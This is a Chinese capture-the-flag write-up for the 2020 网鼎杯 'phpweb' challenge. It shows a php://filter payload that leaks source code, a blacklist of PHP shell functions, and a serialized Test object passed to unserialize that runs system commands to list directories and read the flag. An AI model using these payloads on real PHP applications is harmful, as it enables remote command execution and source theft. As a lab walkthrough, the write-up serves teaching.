[网鼎杯 2020 朱雀组]phpweb

仔细地话可以看到这题每个一段时间就会刷新一次页面，而且后面还会有一个时间，就很可疑，抓个包试试

果然多了几个参数func=date&p=Y-m-d+h%3Ai%3As+a
经过搜索

发现这是一个函数（用来显示时间，也就证实了前面地图片为什么会出现时间地原因）
于是试着就修改函数和参数来执行命令
但是最后输出了hacker，所以判断此处存在过滤，这里就利用file_get_contents函数来获取源码
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php
最后成功拿到源码，拿去base64解码

拿出其中的php代码

    <?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

可以看到禁用了很多函数，但是注意到Test类中有个__destruct魔术方法，这个方法最后会调用gettime()函数，并输出结果
首先来看gettime()函数

    function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}

这里将Test类中的两个变量传入作为这个函数的参数，
$result = call_user_func($func, $p);
这个call_user_func($func, $p)的意思其实就是将$p作为$func的参数，然后执行$func函数
如：

function func($a){echo $a;
}
而call_user_func($func,$p)就相当于执行
function func($p)
{echo $p;
}

然后将结果赋给$result,再将$result的类型（string，int）赋值给$a，最后进行比较
所以这里思路就出来了，利用反序列化函数unserialize()调用 __destruct()魔术方法（跳过黑名单检测），将想要执行的命令放入$p中，就可以了
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

可以看到执行成功了，而现在的问题是不知道flag在哪里，需要要到linux操作的知识
find / -name flag*(记得修改序列化字符串前面的长度)

最后的payload：
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}